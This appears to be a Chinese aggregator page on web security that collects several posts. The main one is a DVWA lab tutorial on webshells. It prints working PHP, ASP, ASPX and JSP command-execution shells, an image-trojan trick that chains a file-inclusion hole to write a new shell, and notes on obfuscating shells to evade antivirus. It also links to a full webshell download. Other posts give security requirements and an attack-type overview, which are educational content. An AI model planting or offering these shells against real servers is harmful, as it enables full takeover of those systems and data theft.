web安全 订阅
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。 展开全文
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
信息
攻击种类
SQL注入
定    义
保证Web环境安全,为新型互联网产品提供安全平台
中文名
Web安全
现状原因
目前很多业务都依赖于互联网
Web安全定义
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这也使得越来越多的用户关注应用层的安全问题,对Web应用安全的关注度也逐渐升温。
收起全文
精华内容
下载资源
问答
  • 最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。准备好好学习下新知识,并分享些博客与博友们一起进步,加油。非常...

    最近开始学习网络安全相关知识,接触了好多新术语,感觉自己要学习的东西太多,真是学无止境,也发现了好几个默默无闻写着博客、做着开源的大神。准备好好学习下新知识,并分享些博客与博友们一起进步,加油。非常基础的文章,大神请飘过,谢谢各位看官!

    投票闲谈:
    最后希望大家帮我2019年CSDN博客之星投投票,每天可以投5票喔,谢谢大家!八年,在CSDN分享了410篇文章,15个专栏,400多万人次浏览,包括Python人工智能、数据挖掘、网络爬虫、图象处理、网络安全、JAVA网站、Android开发、LAMP/WAMP、C#网络编程、C++游戏、算法和数据结构、面试总结、人生感悟等。当然还有我和你的故事,感恩一路有你,感谢一路同行,希望通过编程分享帮助到更多人,也希望学成之后回贵州教更多学生。因为喜欢,所以分享,且看且珍惜,加油!等我四年学成归来~

    投票地址:http://m234140.nofollow.ax.mvote.cn/opage/ed8141a0-ed19-774b-6b0d-39c3aaf89dde.html?from=singlemessage

    在这里插入图片描述

    下载地址:

    展开全文
  • Web安全-一句话木马

    万次阅读 多人点赞 2019-02-07 20:17:05
    在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢? 先来看看最简单的一句话木马: &amp...

    概述

    在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?

    先来看看最简单的一句话木马:

       <?php @eval($_POST['attack']);?>
    

    基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

    入侵条件

    其中,只要攻击者满足三个条件,就能实现成功入侵:

    (1)木马上传成功,未被杀;
    (2)知道木马的路径在哪;
    (3)上传的木马能正常运行。
    

    常见形式

    常见的一句话木马:

    php的一句话木马: <?php @eval($_POST['pass']);?>
    asp的一句话是:   <%eval request ("pass")%>
    aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
    

    我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

    基本原理

    首先我们先看一个原始而又简单的php一句话木马:

       <?php @eval($_POST['cmd']); ?>
    

    看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

    这句话什么意思呢?

    (1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
    (2)@符号的意思是不报错,即使执行错误,也不报错。
    在这里插入图片描述
    为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@

    (3)为什么密码是cmd呢?

    那就要来理解这句话的意思了。php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。

    注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)

    (4)如何理解eval()函数

    eval()把字符串作为PHP代码执行

    例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:
    在这里插入图片描述
    连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()

    当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

    来看看效果,POST代码如下:

      cmd=header("Content-type:text/html;charset=gbk");
      exec("ipconfig",$out);
      echo '<pre>';
      print_r($out);
      echo '</pre>';
    

    在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
    在这里插入图片描述

    木马利用

    以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。关于文件上传漏洞可阅读以下文章:文件上传漏洞

    中国菜刀

    【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

      <?php @eval($_POST['pass']);?>
    

    接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
    在这里插入图片描述
    在Low 安全级别下,查看后台源码:

     <?php
     if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
      }
    ?>
    

    从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

    (1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:
    在这里插入图片描述在这里插入图片描述
    (2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
    在这里插入图片描述“中国菜刀”页面操作说明:

    1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
    2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
    3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

    (3)然后可以看连接成功的界面:
    在这里插入图片描述(4)接着双击或者右键“文件管理”,进入以下界面:
    在这里插入图片描述我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
    在这里插入图片描述

    图片木马

    木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

    承接上面DVWA实验,High 安全等级,继续先查看源码:

     <?php
     if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
     }
    ?>
    

    可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
    在这里插入图片描述我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
    在这里插入图片描述

    【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

    在这里插入图片描述
    生成带有木马的图片文件hack.jpg
    在这里插入图片描述
    接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:
    在这里插入图片描述
    然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
    在这里插入图片描述访问图片木马:
    在这里插入图片描述

    接下来,上菜刀!!!!!!!!!!!
    在这里插入图片描述
    但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:
    在这里插入图片描述
    既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

    首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

    <?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>
    

    然后制作新的图片木马,如下图所示:
    在这里插入图片描述
    接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:
    在这里插入图片描述访问的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:
    在这里插入图片描述此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:
    在这里插入图片描述
    此时再上菜刀连接,即可成功连接:
    在这里插入图片描述
    在这里插入图片描述

    至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。最后附上一篇博文,介绍了图片木马+解析漏洞的利用:PHP图片木马

    木马免杀

    就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

    免杀思路】:

    1、将源代码进行再次编码。
    在这里插入图片描述2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:
    在这里插入图片描述3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。
    在这里插入图片描述
    不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

    小马和大马

    小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

    网页小马

    小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

    Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>
    

    成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

    网页大马

    大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

    中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

    来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
    在这里插入图片描述
    访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
    在这里插入图片描述继续访问下命令执行功能(其他功能不展示了):
    在这里插入图片描述

    最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
    提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

    WebShell

    Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
    在这里插入图片描述

    展开全文
  • Web安全

    千次阅读 2012-08-02 17:08:14
    Web系统必须采取措施降低Web应用安全风险。 1.认证模块必须采用防暴力破解机制,例如:验证码或者多次连续尝试登录失败后锁定帐号或IP。 说明:如采用多次连续尝试登录失败后锁定帐号或IP的方式,需支持连续登录...

    Web系统必须采取措施降低Web应用安全风险。

    1.认证模块必须采用防暴力破解机制,例如:验证码或者多次连续尝试登录失败后锁定帐号或IP

    说明:如采用多次连续尝试登录失败后锁定帐号或IP的方式,需支持连续登录失败锁定策略的“允许连续失败的次数”可配置,支持在锁定时间超时后自动解锁。

    2.对于每一个需要授权访问的页面或servlet的请求都必须核实用户的会话标识是否合法、用户是否被授权执行这个操作,以防止URL越权。

    说明:防止用户通过直接输入URL,进行URL越权,请求并执行一些页面或servlet;建议通过过滤器实现。

    3. 登录过程中,往服务器端传递用户名和口令时,必须采用HTTPS安全协议(也就是带服务器端证书的SSL)。只提供本机接入、登录,做设备管理使用的场景暂时不要求。

    说明:如果在客户端和服务器间传递如帐号、口令等敏感数据,必须使用带服务器端证书的SSL。由于SSL对服务端的CPU资源消耗很大,实施时必须考虑服务器的承受能力。

    4. 对用户的最终认证处理过程必须放到服务器进行。

    5. 用户产生的数据必须在服务端进行校验;数据在输出到客户端前必须先进行HTML编码,以防止执行恶意代码、跨站脚本攻击。对于不可信的数据,输出到客户端前必须先进行 HTML 编码。

    6. 使用主流Web安全扫描工具扫描Web服务器和Web应用,不存在“高”级别的漏洞。

    7. 非嵌入式产品的Web应用,应使用预编译语句PreparedStatement代替直接的语句执行Statement,以防止SQL注入。

    数据库安全

    外购数据库、开源数据库、华为自研数据库都应进行安全配置,保证不出现安全漏洞。

    1. 数据库口令禁止使用数据库厂商的缺省口令,且口令复杂度需满足“口令安全要求”。数据库若存在多个默认帐号,须将不使用的帐号禁用或删除。

    2. 使用单独的操作系统帐号来运行数据库;数据库中的敏感文件(如:Oracle数据库的init.oralistener.ora等)需要严格控制访问权限,只能被数据库进程运行帐户和DBA帐户读写;对数据库帐户授予的权限进行严格清晰的划分,所有数据库帐户只能具备执行其任务的最小权限;对于有监听器功能的数据库(如Oraclelistener.ora)需要设置监听器密码或者设置为本地操作系统验证。

    3. 使用主流或华为指定的系统扫描软件进行安全扫描,不存在“高”级别的漏洞。

    敏感数据保护

    系统对敏感数据的存储、传输和处理需保证数据安全,并遵从适用国家和地区的法律和法规要求。

    敏感数据定义:包括但不限于口令、银行账号、个人数据(单独使用该数据或者结合其他信息可以识别某个活着的自然人的数据,包括:最终用户姓名、帐号、主叫和被叫号码、通信记录、话单、通信时间、定位数据等)。

    1. 口令不允许明文存储在系统中,应该加密保护。在不需要还原口令的场景,必须使用不可逆算法加密。对银行账号等敏感数据的访问要有认证、授权和加密机制。口令文件必须设置访问权限控制,普通用户不能读取或拷贝加密的内容。如果帐户文件/数据中含有口令又必须所有用户可访问,则需将帐户文件/数据与口令文件/数据分开。

    注:对于业界第三方主流软硬件(如操作系统、数据库、Web容器)自身提供的口令功能,不受本条限制。

    2. 在非信任网络之间进行敏感数据(包括口令,银行帐号,批量个人数据等)的传输须采用安全传输通道或者加密后传输,有标准协议规定除外。

    3.禁止使用私有加密算法。

    说明:

     1) 对称加密算法建议使用:AES192及以上强度;

     2) 密钥交换算法建议使用:DH1024

     3) 数字签名算法建议使用:DSA1024ECDSA192

     4) 非对称算法建议使用:RSA2048ECC192

     5) HASH(哈希)算法建议使用:SHA256及以上强度;

     6) HMAC(基于哈希的消息验证码)算法建议使用:HMAC-SHA256

    1. 用于敏感数据传输加密的密钥,不能硬编码在代码中。

    在敏感数据的安全传输上,优先使用业界的标准安全协议(如SSH v2/TLS1.0/SSL3.0/IPSec/SFTP/HTTPS等),并确保密钥可配置;如果是由产品自身实现安全传输过程,则优先使用Diffie-Hellman密钥交换算法,如果使用预置共享密钥等其他方法,也必须保证该密钥可配置和可替换。

    2. 禁止在日志、话单等文件中记录口令、银行账号、通信内容等敏感数据;

    敏感数据保护

    3. 尽量避免在日志、话单中记录个人数据,如果必须记录个人数据,则所有数据必须进行结构化存储或适合于进行匿名化提取;

     1)尽量避免在日志中记录个人数据,如果必须记录,在个人数据之前或之后加统一的标记,以区别于其他非个人数据。

     2)尽量避免在话单中记录个人数据,如果必须记录,则话单必须进行结构化存储,字段间必须由统一的分隔符分开,每行的字段按列严格对应。

    4. 有个人数据导出功能的产品发布时必须同时提供对个人数据进行过滤或匿名化处理和功能或工具;

    5. 严格限制导出功能的权限,对导出功能的使用必须有日志记录。

    6. 涉及个人数据的采集/处理的功能须提供安全保护机制(如认证、权限控制、日志记录等),并通过产品资料向客户公开。

    7. 在正常业务流程和标准协议之外,禁止出于故障定位目的进行用户精确位置信息定位。如需处理用户精确位置数据,应有华为的明确需求,并在方案设计时,给予用户随时撤回同意的机会。

    口令安全策略管理

    1. 设置口令时,默认检测口令复杂度,口令至少满足如下要求:

     1) 口令长度至少6个字符(特权用户至少8个字符);

     2) 口令必须包含如下至少两种字符的组合:

          -至少一个小写字母;

          -至少一个大写字母;

          -至少一个数字;

          -至少一个特殊字符:`~!@#$%^&*()-_=+\|[{}];:'",<.>/?  和空格

     3) 口令不能和帐号或者帐号的逆序相同;

    若设置的口令不符合上述规则,必须进行警告。

    2. 系统必须提供锁定用户的机制。可选择如下两种方式之一:

    方式一:当重复输入错误口令次数(默认3次,次数系统可以设置)超过系统限制时,系统要锁定该用户。

    方式二:系统还可以设置下次允许输入口令的间隔时间加倍,采用这种方式时,用户可以不设置自动锁定。

    3. 可设置自动解锁时间(只适用于由于口令尝试被锁定的用户)

     1) 对于口令尝试N次失败被锁定的用户,系统要能够设置自动解锁时间,建议默认解锁时间为5分钟。

     2) 用户被锁时间达到预定义时间,可自动解锁该用户,或者也可通过安全管理员手工解锁该用户。

     3) 在锁定时间内,仅能允许应用安全管理员角色所属帐号手动解锁该用户。

    口令安全使用规则

    4. 操作界面中的口令不能明文显示,键入口令时不能明文显示出来(操作界面中的输入口令可不显示或用*代替),包括在终端上打印或存储在日志中时也不能明文显示口令,即使是内存中的明文口令(如登录期间),也应在使用后立即覆盖。

    5. 口令输入框不支持拷贝功能。

    6. 对于系统内置帐号的缺省口令,口令应符合复杂度的要求,并在客户资料中提醒用户修改。

    7. 用户可修改自己的口令,需满足如下要求:

     1) 用户修改自己口令时必须验证旧口令;

     2) 不允许修改除自身帐号以外的帐号的口令(管理员除外)

    8. 口令不能在网络中明文传输,口令等认证凭证在传输过程中必须加密,使用高安全等级的加密算法。

    说明:

     1) 对称加密算法建议使用:AES192及以上强度;

     2) 密钥交换算法建议使用:DH1024

     3) 数字签名算法建议使用:DSA1024ECDSA192

     4) 非对称算法建议使用:RSA2048ECC192

     5) HASH(哈希)算法建议使用:SHA256及以上强度;

     6) HMAC(基于哈希的消息验证码)算法建议使用:HMAC-SHA256

    9. 口令在本地存储时必须加密,需满足如下要求:

     1) 口令不能够明文写入日志文件、配置文件以及cookie中;

     2) 口令文件必须设置访问控制,普通用户不能读取或拷贝加密的内容。

    10. 产品配套资料提供清晰的帐号、口令清单。

    说明:华为提供用户清单模板

    安全资料

    针对售前、开局、现网运维几个阶段,提供配套安全方案、资料。

    1. 在产品描述中对产品安全特性进行描述。

    2. 产品发布前提供产品通信矩阵。描述机器/网元/模块间的通信关系,包括:通信使用的端口、协议、IP地址、认证方式、端口用途信息等。

    说明:华为提供通信矩阵模板。

    3. 产品发布前提供防病毒软件部署指南。描述防病毒软件部署前的准备、流程、执行步骤、失败后回退处理,以及病毒特征库升级配置指导(Windows系统平台必选)。

    4. 产品发布前提供安全配置/加固指南。

    描述如下内容:

      -安全加固及检查,主要包括操作系统、数据库或WEB服务器等加固内容,需要包含具体的加固内容和操作步骤(必选)。

      -应用的安全配置,针对产品业务安全应用,需要启用哪些安全选项,配置哪些内容。(对于需要通过对产品开局时进行安全策略配置才能生效的安全功能,需要提供此部分内容)。如果没有应用的安全配置,命名为安全加固指南。安全加固指南是必须的。

    5. 产品发布前提供安全维护手册。从解决方案角度提供业务日常安全维护方面的指导,包括安全补丁、安全配置、防病毒软件例行检查等,指导维护人员例行进行安全维护。

    操作系统安全

    无论是使用通用操作系统(WindowsLinuxUnix等)还是嵌入式操作系统(如VxWorkspSOS),系统都应该保证软件及软件运行环境的安全。

    注:系统指交付给客户运行的整体系统,包括自研的软件、软件运行的操作系统及应用服务在内。

    1.使用主流漏洞扫描软件进行安全扫描,不存在高风险级别的漏洞。

    2.基于通用操作系统的新发货产品“操作系统加固+操作系统补丁”预装率=100%;对于不在生产环节预安装的产品,需要在正式发布的版本中包含默认的安全策略文件,并在产品资料中说明加固要求和操作步骤。

    说明:

     1)华为提供的操作系统,产品版本应基于最新的操作系统安全补丁进行开发和兼容性测试。

     2)合作方提供的操作系统,合作方需在版本交付前对操作系统安全补丁进行兼容性测试并随版本发布,并根据CIS标准对操作系统进行加固并随版本发布。

    3.使用Windows操作系统的产品,产品需要使用主流防病毒软件进行进行兼容性测试。

    说明:

     1)华为提供的Windows操作系统,合作方需使用主流防病毒软件或华为指定的防病毒软件进行兼容性测试;

     2)合作方提供的Windows操作系统,产品需要缺省配套华为指定的防病毒软件,并对防病毒软件进行兼容性测试。

    协议与接口防攻击

    系统应具备基本的防攻击能力,对影响自身的常见攻击具备防御能力等。注:系统指交付给客户运行的整体系统,包括自研的软件、软件运行的操作系统及应用服务在内。

    1.系统所有的对外通信连接必须是系统运行和维护必需的,对使用到的通信端口在产品通信矩阵文档中说明,动态侦听端口必须限定确定的合理的范围。通过端口扫描工具验证,未在通信矩阵中列出的端口必须关闭。

    说明:

      1)华为提供通信矩阵模板。

    2.尽量避免使用动态侦定端口的实现方式,在没有替代方案的情况下,如果必须使用,需满足如下要求:

     1)、如果使用业界标准的协议(如RPCFTP被动模式),并有一定的安全措施(如NFS安全配置、防火墙支持FTP被动模式等);

     2)、如果自实现的方式,则动态侦听端口必须限定确定的合理的范围。

    2. 所有能对系统进行管理的通信端口及协议必须有接入认证机制,标准协议没有认证机制的除外。

    3. 对自研协议和业界非主流软件(包括非主流的开源软件)实现的协议要进行协议畸形报文攻击测试。

    4. 设备外部可见的能对系统进行管理的物理接口必须有接入认证机制。

    监听接口及防止非法监听

    产品开发合法监听接口应遵循国际标准及所在国的法律要求。

    1. 在没有华为明确需求的情况下,严禁开发具有监听性质的功能和接口,无论该功能和接口是否要遵循相应的国家标准和国际标准。

    2. 在华为对合法监听接口有需求的情况下,合作方需根据华为提供的监听功能或接口的文件中的要求开发。

    说明:对提供合法监听接口的产品版本的要求(二选一)

     1)产品提供两个版本的软件安装包:一个支持合法监听,一个不支持合法监听。根据市场的安全要求,选择对应的软件安装包进行部署。

     2)产品提供软件安装包拆分为:基本软件安装包和合法监听插件安装包。根据市场的安全要求,选择是否安装合法监听插件安装包。

    3. 在正常业务流程和标准协议之外,禁止提供采集最终用户原始通信内容(语音类、短信/彩信类、传真类、数据业务类)的功能,即使出于保障网络运营和服务目的。

    注:

     1) 除了语音类、短信/彩信类、传真类、数据业务类信息属于通信内容外,最终用户的即时消息、E-Mail信息、URL同样属于通信内容;

     2) 允许使用debug功能,但debug信息中不允许包含口令、银行账号、通信内容等敏感数据。

     

    展开全文
  • 基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL...
  • 浅谈 | 从Web安全到APT防御

    万次阅读 多人点赞 2020-08-12 00:22:45
    在信息化的时代,很多...作为新人,浅谈一下Web安全观。浅谈从Web安全到APT防御。 一、web系统存在的安全性 复杂应用系统代码量大、开发人员出现疏忽; 系统屡次升级、人员频繁变更,使得代码存在差别; 新旧资源存在

    在信息化的时代,很多业务都依赖于互联网,例如说网上银行、网络购物、网游等。大量的数据依赖于网络。无疑Web成为领导者。随着国家安全法的不断完善,企业及公司对用户隐私以及公司的重要信息逐渐加强重视。也使得暴露在网络上的Web面临更高的挑战。这种黑白交替的时代,黑白技术在对抗中也在不断的发展。也使得安全测试逐渐规范化。作为新人,浅谈一下Web安全观。浅谈从Web安全到APT防御。

    一、web系统存在的安全性

    • 复杂应用系统代码量大、开发人员出现疏忽;
    • 系统屡次升级、人员频繁变更,使得代码存在差别;
    • 新旧资源存在于相同服务器;
    • 开发人员未经过安全意识培训;
    • 系统测试阶段未达到要求的合格范围;

    在整个系统实现阶段。人,无疑成为做大的Bug。在开发者的关注角度呈现的思维方式:

    • 客户的满意程度;
    • 处理能力;
    • 界面的美观与操作简洁度;
    • 项目的开发进度以及所用成本;
    • 使用合理的架构,方便代码修改;
    • 模块(类)间关联程度的度量;

    二、常见Web攻击维度

    在这里插入图片描述
    三、常见Web攻击动机

    • 炫技或存在报复心理;
    • 篡改网页,修改文字内容;
    • 窃取用户隐私信息、商业机密;
    • 关闭站点,影响正常访问;
    • 网站钓鱼,非法诈骗;
    • 用户权限进行非法操作;
    • 以此作为跳板攻击企业内网其他系统;

    四、常见的 Web 攻击流程

    • 信息收集
    • 暴力猜解
    • Web漏洞扫描
    • 错误信息利用
    • 根据服务器版本寻找现有的攻击代码
    • 利用服务器配置漏洞
    • 文件上传下载
    • 构造恶意输入(SQL注入攻击、命令注入攻击、跨站脚本攻击)
    • HTTP协议攻击
    • 拒绝服务攻击
    • 其他攻击点利用(Web Services, Flash, Ajax, ActiveX, JavaApplet)
    • 业务逻辑测试

    五、Web 漏洞 Top 10

    你想怎样进入房间?
    在这里插入图片描述

    1. (十)内部重要资料/文档外泄

    无论是企业还是个人,越来越依赖于对电子设备的存储、处理和传输信息的能力。 企业重要的数据信息,都以文件的形式存储在电子设备或数据中心上,企业雇员或程序员为了办公便利,常常将涉密数据拷贝至移动存储介质或上传至网络,一旦信息外泄,将直接加重企业安全隐患发生的概率。

    1. (九)账户体系控制不严/越权操作

